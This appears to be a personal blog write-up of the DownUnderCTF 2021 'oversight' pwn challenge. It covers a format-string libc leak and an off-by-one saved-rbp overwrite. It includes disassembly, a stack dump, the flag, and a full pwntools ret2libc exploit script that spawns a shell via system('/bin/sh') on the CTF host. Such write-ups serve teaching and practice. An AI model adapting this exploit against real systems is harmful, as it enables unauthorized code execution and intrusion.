Aynakeya's Blog

Kill My Emotion

[writeup][DownUnderCTF 2021] pwn oversight

Intro

this a typical ret2libc problem using rop chain.

require reveal the base point for libc, find offset and setup ropchain

Mitigations

1
2
3
4
5
# Arch:     amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

Solution

vuln 1

in the sym.wait(), the prinf in the will give a format of "%val$llx", where val can be input by by users.

Therefore, we got a way to leak address in the stack (see here if your don't why), which could help to find the libc base address

1
2
3
4
5
6
7
8
9
void wait(void)
{
// ignored
printf("Pick a number: ");
fgets(&var_85h, 5, _stdin);
uVar1 = strtol(&var_85h, 0, 10);
snprintf((int64_t)&var_85h + 5, 100, "Your magic number is: %%%d$llx\n", uVar1)
// ignored
}

vuln 2

in the sym.echo_inner, we can write max 256(0x100) byte to a 256 byte long char pointer.

however, the fread will set next byte to zero.

in this case, since the char pointer is locate at sym.echo and the stack for sym.echo is 0x100 long, the next byte will appear in the save rbp

since saved rbp is little, the last byte of saved rbp will set to zero, which means the rbp for sym.echo will decrease/move up some position

for example,

if the origin rbp of sym.echo is 0x1010 after fread, it will become 0x1000, which decrease by 0x10.

moreover, the stack above origin rbp is the char array that we can control. by using fread, we can easily construct a stack that do what ever we want.

1
2
3
4
5
0x000012a5      488b0dd42d00.  mov rcx, qword [obj.stdin]  ; obj.stdin_GLIBC_2.2.5 ; [0x4080:8]=0 ; FILE *stream
0x000012ac e88ffdffff call sym.imp.fread ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
0x000012b1 488d3d5c0d00. lea rdi, str.You_said: ; 0x2014 ; "You said:" ; const char *s
0x000012b8 4898 cdqe
0x000012ba 41c6040400 mov byte [r12 + rax], 0

leak libc

check the stack after printf, we can use 5+12 = 17 to leak stdout address.

1
2
3
4
5
6
7
8
9
10
11
12
13
0x7ffe89512620 0x0000000000000d68   h....... @ rsp 3432
0x7ffe89512628 0x00000a373183bad1 ...17...
0x7ffe89512630 0x67616d2072756f59 Your mag @ r12 ascii ('Y')
0x7ffe89512638 0x65626d756e206369 ic numbe ascii ('i')
0x7ffe89512640 0x3125203a73692072 r is: %1 ascii ('r')
0x7ffe89512648 0x00000a786c6c2437 7$llx...
0x7ffe89512650 0x000055c13fc96070 p`.?.U.. /home/aynakeya/ctf/ducctf/pwn100-oversight/oversight .bss section..bss,reloc.stdout reloc.__cxa_finalize program R W 0x7fbcb29946a0
0x7ffe89512658 0x00007fbcb29954a0 .T...... /usr/lib/x86_64-linux-gnu/libc-2.31.so library R W 0x0
0x7ffe89512660 ..[ null bytes ].. 00000000
0x7ffe89512668 0x00007fbcb283c013 ........ /usr/lib/x86_64-linux-gnu/libc-2.31.so library R X 'cmp eax, 0xffffffff' 'libc-2.31.so'
0x7ffe89512670 0x0000000000000010 ........ 16
0x7ffe89512678 0x00007fbcb29946a0 .F...... /usr/lib/x86_64-linux-gnu/libc-2.31.so library R W 0xfbad2887
0x7ffe89512680 0x000055c13fc94075 u@.?.U.. /home/aynakeya/ctf/ducctf/pwn100-oversight/oversight .rodata str.Lets_play_a_game program R 0x616c70207374654c Lets play a game

construct stack

last 00 are required for alignment

1
2
3
4
5
6
7
8
9
10
11
12
@ rsp
ret;
. (new rbp may land here)
. many ret;
. (or here)
ret;
pop rdi; ret;
pointer of "/bin/sh"
call system
00
@ origin rbp

Exploits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=pwn-2021.duc.tf' '--port=31909' oversight
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('oversight')
libc = ELF("libc-2.27.so")

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'pwn-2021.duc.tf'
port = int(args.PORT or 31909)

def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
def get_pointer(address:int):
return address.to_bytes(0x8,"little")
print(io.recv())
io.send(b"\n")
print(123)
io.sendlineafter(b"Pick a number: ",str(5+12).encode())
io.recvuntil(b"Your magic number is: ")
data = io.recv()
print(data)
libc_stdout_address = int(data.decode().split("\n")[0],16)
print(libc_stdout_address)
libc_base = libc_stdout_address - 0x003ec760
libc_pop_rdi = libc_base + 0x215bf
libc_ret = libc_base + 0x08aa
libc_bin_sh = libc_base + 0x001b3e1a
libc_system = libc_base + 0x4f550
mystack = get_pointer(libc_pop_rdi) + get_pointer(libc_bin_sh) + get_pointer(libc_system) + get_pointer(0)
payload = get_pointer(libc_ret)*(256 // 8 -len(mystack) // 8)+mystack
print("len of payload %d" % (len(payload) / 8))
io.sendline(b"256")
io.sendline(payload)
io.recv()
print("recved")
io.interactive()

flag

DUCTF{1_sm@LL_0ver5ight=0v3rFLOW}

0%